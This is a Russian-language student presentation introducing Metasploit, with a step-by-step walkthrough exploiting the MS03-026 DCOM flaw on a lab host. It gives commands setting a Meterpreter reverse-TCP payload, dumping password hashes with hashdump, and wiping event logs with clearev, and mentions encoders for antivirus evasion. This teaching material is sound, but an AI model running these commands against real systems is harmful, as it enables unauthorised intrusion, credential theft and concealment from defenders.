Metasploit
Основные термины для удобства
Введение
Базовый алгоритм работы с Metasploit Framework
Рассмотрим следующие этапы тестирования защищенности, присутствующие в практически любом проекте по тестированию на
Этап 1. Постановка задачи
Этап 2. Сбор информации и поиск целей
Этап 3. Поиск уязвимостей
Этап 4. Эксплуатация и проведение атак
Этап 5. Расширение зоны влияния и эскалация привилегий
Этап 6. Разработка отчета
Armitage
Модули
На практике. Шаг 1
Шаг 2
Шаг 3
Шаг 4
Шаг 5
Шаг 6
Шаг 7
Шаг 8
Шаг 9
Потенциальные возможности использования фреймворка Metasploit:
Заключение
Список литературы
2.04M
Category: informaticsinformatics

Metasploit. Базовый алгоритм работы с Metasploit Framework

1. Metasploit

Голодников Роман АБ-66

2. Основные термины для удобства

• Уязвимость (Vulnerability) – слабое место, которое позволяет
злоумышленнику/пентестеру взламывать/скомпрометировать
целевую систему. Уязвимость может существовать в
операционных системах, программах, плагинах и т.д.
• Эксплоит (Exploit) – код, с помощью которого можно взломать
систему, программу и т.п., при наличии в них уязвимостей.
Эксплоиты бывают активные (переполнение буфера, брутфорс,
неправильные
настройкибезопасности)
и
пассивные
(поддельный DNS, редирект, фишинг).
• Полезная нагрузка (Payload) – код, который выполняется после
эксплоита. В основном используется длянастройки связи между
жертвой и атакующим.
• Модуль (Module) – код, который расширяет функциональность
Metasploit Framework. Модули различаются по типу: эксплоиты,
вспомогательные, полезная нагрузка, нопы (NOP) или модули
постэксплуатации. Тип модуля определяет его цель.
• Слушатель (Listener) – ожидает входящего соединения с
эксплуатируемой целью или атакующей машиной и управляет
полученным соединением.

3. Введение

• В 2003 году, хакеру, известному как «HD Moore», пришла
идея разработать инструмент для быстрого написания
эксплоитов. Так был рожден хорошо известный во всех
кругах проект Metasploit. Первая версия фреймфорка была
написана на языке Perl, содержавшая псевдографический
интерфейс на базе библиотеки curses.
• Metasploit – это платформа для тестирования, поиска и
использования уязвимостей. Она включает фреймворки
Metasploit и их коммерческие аналоги: Metasploit Pro,
Express, Community и Nexpose Ultimate

4.

• На сегодняшний день Metasploit содержится в нескольких
linux-дистрибутивах:
— Kali linux (kali.org);
— Backtrack linux (backtrack-linux.org (на этом дистрибутиве
будет рассмотрена практическая часть презентации)
— Pentoo (pentoo.ch);
— BlackArch (www.blackarch.org);
— Backbox (backbox.org).

5.

• Metasploit использует различные библиотеки, которые
играют ключевую роль в функционировании
системы. Эти библиотеки представляют собой набор
заранее определенных задач, операций и функций,
которые могут быть использованы различными модулями
системы. Самая фундаментальная часть
фреймфорка является Ruby Extension (Rex). Некоторые
компоненты Rex включают подсистему сокетов
(wrapper socket subsystem), реализацию клиентских и
серверных протоколов, регистрацию подсистемы
(logging subsystem), exploitation utility classes, а также ряд
других полезных классов.

6. Базовый алгоритм работы с Metasploit Framework

• Поиск
подходящего
модуля
с
помощью
команды search или Google.
• Выбор модуля с помощью команды use.
• Просмотр настроек выбранного модуля с помощью
команд show options (продвинутые настройки — show
advanced).
• Установка конкретной опции с помощью команды set.
Самыми часто задаваемыми опциями являются RHOST и
RHOSTS. В первом случае можно задать только один адрес
цели, а во втором – множество.
• Установка подробного вывода с помощью команды set
verbose true (если любопытно знать, что происходит).
• Запуск модуля с помощью команды run.

7. Рассмотрим следующие этапы тестирования защищенности, присутствующие в практически любом проекте по тестированию на


Постановка задачи
Сбор информации и поиск целей
Поиск уязвимостей
Эксплуатация и проведение атак
Расширение зоны влияния и эскалация
привилегий
• Разработка отчета

8. Этап 1. Постановка задачи

• Тестирование защищенности любой ИТ-инфраструктуры
начинается с постановки задачи. В нашем случае мы
ограничимся поиском максимального количества реальных
уязвимостей, которые могут быть проэксплуатированы
потенциальными злоумышленниками, имеющими физический
доступ к компьютерной сети организации.
Для демонстрации работы некоторых модулей в статье будут
приводиться результаты их запуска против такой учебной цели,
как Metasploitable 2. Metasploitable 2 представляет собой
виртуальную Linux-машину, содержащую массу уязвимых
сервисов. Является стандартом де-факто для обучения
начинающих специалистов по тестированию защищенности.

9. Этап 2. Сбор информации и поиск целей

• Для проведения тестирования защищенности
специалистам предоставляют доступ в сеть
предприятия. В ходе предварительного сбора
проводится сканирование узлов, определяются
имена компьютеров, обнаруживаются
общедоступные сетевые папки, критичные
ресурсы.

10. Этап 3. Поиск уязвимостей

11. Этап 4. Эксплуатация и проведение атак

• Для эксплуатации уязвимостей в сетевых сервисах и
прикладном ПО используются эксплойты из раздела exploit
Metasploit Framework. На текущий момент в Metasploit
Framework количество готовых к использованию
эксплойтов уже приближается к двум тысячам.
Подходящие эксплойты можно найти с помощью команды
search по коду CVE, названию или версии сервиса
(например, search vsftpd).

12. Этап 5. Расширение зоны влияния и эскалация привилегий

• Зачастую наличие доступа к какой-либо системе позволяет
расширить его на другие системы. Иногда возможна и эскалация
привилегий, позволяющая обычному пользователю стать
администратором.
Рассмотрим две типовые ситуации, знание которых облегчает
проведение тестирования защищенности.
Пользователи, использующие одинаковые пароли
Пользователи любят использовать одинаковые пароли в
различных системах, поэтому целесообразно проверять
однажды подобранные пары логин: пароль во всех доступных
системах.

13.

• ИТ-специалисты, забывающие удалить из тестовой среды
критичные данные
В крупных организациях у серьезных систем, как правило,
имеется тестовая среда, на которой отрабатываются изменения,
обучаются пользователи и т.п. Тестовые среды очень часто
создаются путем восстановления из резервных копий боевых
сред, при этом, так как они являются тестовыми, то не всегда
уделяется должное внимание вопросам информационной
безопасности. Так, например, могут создать учетную запись
администратора с легко угадываемым паролем либо не
установить критичные обновления операционной системы.
Специалисты по тестированию защищенности, получив доступ к
тестовой среде, выгружают данные пользователей
(логины/хеши паролей), которые в основной своей массе
соответствуют тем, что используются в боевой системе.

14. Этап 6. Разработка отчета

• Если результаты тестирования защищенности интересуют не
только самого системного администратора, то имеет смысл
подготовить качественный отчет.
Основной составляющей отчета является информация об
уязвимостях, которая, как правило, представляется в
следующем структурированном виде:
обнаружение – информация о названии уязвимости, ее кодах,
перечень узлов, подверженных ей.
• эксплуатация – скриншоты и журналы, демонстрирующие
эксплуатацию уязвимости;
• риск – к чему может привести эксплуатация уязвимости;
• рекомендации – рекомендации технического и
организационного характера по устранению уязвимости.

15. Armitage

• Если вы хотите использовать Metasploit с графическим
интерфейсом (GUI), то здесь есть несколько вариантов.
Например, Рафаэль Мадж (Raphael Mudge)
разработал Armitage (это имя главного героя в весьма
оригинальной научно-фантастической книге о киберхакинге «Neuromancer». Ее должен прочитать каждый
хакер, которому нравится жанр SciFi).
• Чтобы запустить Armitage в Kali, просто введите:
• kali > armitage

16. Модули


У Metasploit есть шесть разных модулей:
payloads
exploits
post
nops
auxiliary
encoders

17.

• Payloads — это код, который мы оставляем на взломанной
системе. Некоторые называют их слушателями (listener),
руткитами (rootkit) и т.д. В Metasploit они называются
payload (полезными нагрузками). Payloads включают
утилиты командной строки, Meterpreter и т.д. Payload‘ы
бывают разных типов,
например, staged, inline, NoNX (обходит функцию «No
Execute» (без выполнения) в некоторых современных
процессорах), PassiveX (обходит правила брандмауэра об
исходящем трафике), IPv6 и другие

18.

• Exploits — это шелл-код, который использует уязвимость
или недостатки в системе. Это очень специфичный код.
Например, есть эксплоиты для операционной системы,
пакетов обновлений (SP), для конкретных служб, портов и
даже для приложений. Их также можно классифицировать
по типам операционных систем, поэтому
эксплойт Windows не работает в Linux и наоборот.

19.

• Post — это модули, которые мы можем использовать для
пост эксплуатационных атак системы (т.е. после получения
доступа к системе).

20.

• Nops — сокращение от No OPerationS. В процессорах
семейства x86 обычно указывается как
шестнадцатеричный 0x90. Это просто означает «ничего не
делать». Это может иметь решающее значение для атак
переполнения буфера (buffer overflow). Мы можем
посмотреть модули nops с помощью команды show.
• msf > show nops

21.

22.

• Auxiliary — включает в себя множество модулей (695),
которые не вписываются ни в одну из других категорий. К
ним относятся такие вещи, как фьюзеры (fuzzer), сканеры
(scanner), модули для DoS-атак (на отказ в обслуживании) и
многое другое. За более подробной информацией
отсылаю вас к нашей статье об Auxiliary модулях.

23.

• Encoders — это модули, которые позволяют по-разному
кодировать нашу полезную нагрузку (payloads), чтобы
обойти антивирусное ПО и другие системы безопасности.
Мы можем увидеть эти кодировщики, набрав:
• msf > show encoders

24.

25. На практике. Шаг 1

Запускаем сетевой сканер Nmap для анализа удаленного
сервера по IP-адресу 192.168.42.129. В результате получаем
вывод команды Nmap с перечнем открытых портов. Для
наглядного примера смотрим на скриншот.

26. Шаг 2

• На нашей машине, в операционной системе BackTrack,
переходим в меню по пути:
• Application > BackTrack > Exploration Tools > Network
Exploration Tools > Metasploit Framework > msfconsole
• Во время запуска msfconsole выполняется стандартная
проверка. Если все прошло хорошо, то мы увидим
результат, как на скриншоте

27.

28. Шаг 3

• Теперь, когда мы знаем, что на удаленной машине открыт
порт 135, в консоли msfconsole наберем команду search
dcerpc для поиска всех эксплоитов, имена которых
соотвествует шаблону dcerpc. Все они могут применяться
для получения доступа к серверу, используя уязвимости
порта 135. Как только мы наберем в строке эту команду,
получим список всех эксплоитов в окне msfconsole, как
показано на скриншоте

29.

30. Шаг 4

• Теперь, когда мы имеем перед глазами список rpcэксплоитов, нам нужна более полная информация по
каждому из них, прежде чем применим его на практике.
Для получения подробного описания конкретного сплоита,
воспользуемся командой info
exploit/windows/dcerpc/ms03_026_dcom. Что в итоге мы
получим? Описание возможных целей; требования
эксплоита; детальное описание самой уязвимости,
используемой этим эсплоитом; а также ссылки, где мы
можем найти более подробную информацию.

31. Шаг 5

• В общем случае запуск команды use <exploit_name>
запускает окружение указанного эксплоита. В нашем же
случае мы будем использовать команду use
exploit/windows/dcerpc/ms03_026_dcom для запуска этого
сплоита.
Мы перешли во временное окружение этого
эксплоита.

32. Шаг 6

• Теперь нам необходимо отредактировать
конфигурационный файл сплоита, как требует того
текущий сценарий. Команда show options покажет нам
различные параметры, которые требуются для
запущенного на данный момент эксплоита. В нашем
случае, опции RPORT уже установлено значение 135. Нам
осталось только задать значение параметра RHOST,
выполняемое командой set RHOST.
• Вводим в командной строке set RHOST 192.168.42.129 и
видим результат - IP-адрес удаленного хоста выставлен
именно на 192.168.42.129., как на скриншоте

33.

34. Шаг 7

• Последнее, что нам осталось сделать прежде чем
запустить эксплоит - установить payload для него. Все
доступные варианты payload'ов можно увидеть с помощью
команды show payloads.

35.

36.

• Как видно на скриншоте, команда show payloads покажет
нам все payload'ы, которые совместимы с выбранным
нами сплоитом. Для нашего случая мы используем
запасной tcp meterpreter, задав его командой set PAYLOAD
windows/meterpreter/reserve_tcp, что запустит командную
оболочку на удаленном сервере, если к нему будет
успешно получен доступ. Сейчас нам нужно снова
запустить команду show options для того, чтобы убедиться
в том, что все обязательные для заполнения поля имеют
соответствующие значения. Только в этом случае эксплоит
успешно запуститься.

37.

38. Шаг 8

• Обратите внимание, что параметр LHOST для payload'а не
установлен. Так что нам нужно установить локальный IPадрес (например, 192.168.42.128) командой set LHOST
192.168.42.128.
• Теперь, когда все готово и эксплоит отконфигурирован
должным образом, настало время запустить его.
• Мы можем воспользоваться командой check для того,
чтобы убедиться в том, что наша машина-жертва доступна
для выполнения на ней эксплоита. Эта опция имеется не
для всех сплоитов. Например, на следующем скриншоте
хорошо видно, что в нашем случе это именно так.

39.

Но ею стоит воспользоваться в любом случае. Это
хорошая помощь со стороны системы в том плане, что
позволяет удостовериться - удаленная машина еще не
пропатчена эксплоитом, который вы собираетесь
запустить. Другими словами - чтобы вы не запустили
эксплоит на удаленной машине повторно.

40. Шаг 9

• Теперь, когда дополнительное соединение между жертвой и
нашей машиной установлено, нам необходимо получить
контроль над сервером. Мы можем воспользоваться help для
получения списка всех доступных команд, которые мы можем
выполнить на удаленном сервере для выполнения
соответствующих действий.
• Ниже показаны результаты некоторых команд meterpreter:
• ipconfig - показывает конфигурационные данные всех TCP/IPсоединений, запущенных на удаленной машине;
• getuid - отображает имя сервера в консоли;
• hashdump - создает dump базы данных SAM;
• clearev - затирает все следы вашего пребывания на удаленной
машине, какие вы могли бы оставить там.

41. Потенциальные возможности использования фреймворка Metasploit:

• Metasploit может использоваться при пентестинге для создания
отчетов, совместно с другими системами автоматического
обнаружения уязвимостей. С помощью этого фреймворка
можно установить, являются ли уязвимости реально опасными и
можно ли ими воспользоваться для проникновения в систему.
• Metasploit может использоваться для тестинга новых
эксплоитов, которые появляются буквально каждый день. Такую
проверку вы можете делать на локальном сервере, специально
предназначенном для этих целей. С помощью этого фреймворка
вы легко можете проверить, эффективен ли новый эксплоит или
нет.
• Metasploit также является великолепным инструментом в ваших
системах пентестинга для проверки, настроены ли должным
образом IDS в случае возникновения атак.

42. Заключение

• Мы рассмотрели применение Metasploit Framework для
возможности самостоятельного применения
администраторами для тестирования защищенности и
убедились в доступности и эффективности данного
инструмента. Большинство «болевых точек» могут быть с
легкостью проверены благодаря широкому набору
модулей данного фреймворка. Единственной проблемной
областью применения для тестирования защищенности
исключительно Metasploit Framework является
необходимость проводить трудоемкий ручной поиск
уязвимостей, но данная проблема может быть устранена
применением сканера уязвимостей, например, из
состава «Сканер-ВС».

43. Список литературы


https://ru.wikipedia.org
https://habr.com
https://helpugroup.ru
https://rus-linux.net
https://computer76.ru
https://www.securitylab.ru
https://cryptoworld.su
https://xakep.ru
https://v-zlom.cc
English     Русский Rules